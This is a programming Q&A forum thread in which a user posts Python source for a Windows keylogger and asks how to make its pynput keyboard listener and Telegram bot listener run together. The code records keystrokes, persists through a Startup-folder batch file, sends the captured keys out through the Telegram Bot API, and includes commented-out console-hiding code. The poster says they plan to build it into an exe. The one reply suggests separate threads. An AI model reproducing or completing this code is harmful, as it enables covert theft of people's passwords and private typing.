N
N
Nikita karpov2022-01-22 17:46:31
Python
Nikita karpov, 2022-01-22 17:46:31

Are the listeners interfering with each other?

Good day, I decided to write a small Python keylogger and noticed that the listener from the pynput module interferes with the telebot listener, The question is how can I run this code in one file?

import pynput
import requests
from pynput.keyboard import Key, Listener
import getpass
import ctypes
import os
import win32process

#hwnd = ctypes.windll.kernel32.GetConsoleWindow()
#if hwnd != 0:
#    ctypes.windll.user32.ShowWindow(hwnd, 0)
#    ctypes.windll.kernel32.CloseHandle(hwnd)
#    _, pid = win32process.GetWindowThreadProcessId(hwnd)
#    os.system('taskkill /PID ' + str(pid) + ' /f')

USER_NAME = getpass.getuser()

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "open.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

add_to_startup()

keys = []
token = 'токен'
admin_chat_id = 'айди чата)'

def on_press(key):
  global keys
  keys.append(str(key).replace("'", ''))
  if len(keys) > 30:
    write_file(keys)
    send_log_via_telegram(keys)
    keys = []


def on_release(key):
  pass


def write_file(keys):
  with open('log.txt', "a") as f:
    for k in keys:
      if 'space' in k:
        f.write('\n')
      else:
        f.write(k)




def send_log_via_telegram(keys):
  requests.get(f"https://api.telegram.org/bot{token}/sendMessage?chat_id={admin_chat_id}&text={''.join(keys)}")

bot = telebot.TeleBot(token)

@bot.message_handler(commands=['start'])
def start_message(message):
  doc = open('log.txt', 'rb')
  bot.send_document(chat_id, doc)

@bot.message_handler(commands=['del'])
def start_message(message):
  os.remove("win32.exe")

bot.polling()
# вот тут два слушателя мешаются друг другу , если начинает работать слушатель бота , то перестает работать слушатель pynput
with Listener(on_press=on_press, on_release=on_release) as listener:
  listener.join()

in the future it is planned to turn the file into an exe

Answer the question

In order to leave comments, you need to log in

1 answer(s)
H
HemulGM, 2022-01-22
@HemulGM

Run in different threads.
bot.polling() starts an infinite loop and never exits because it is LISTENING.

PS
"кейлоггер" ахахха. Стыдно

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question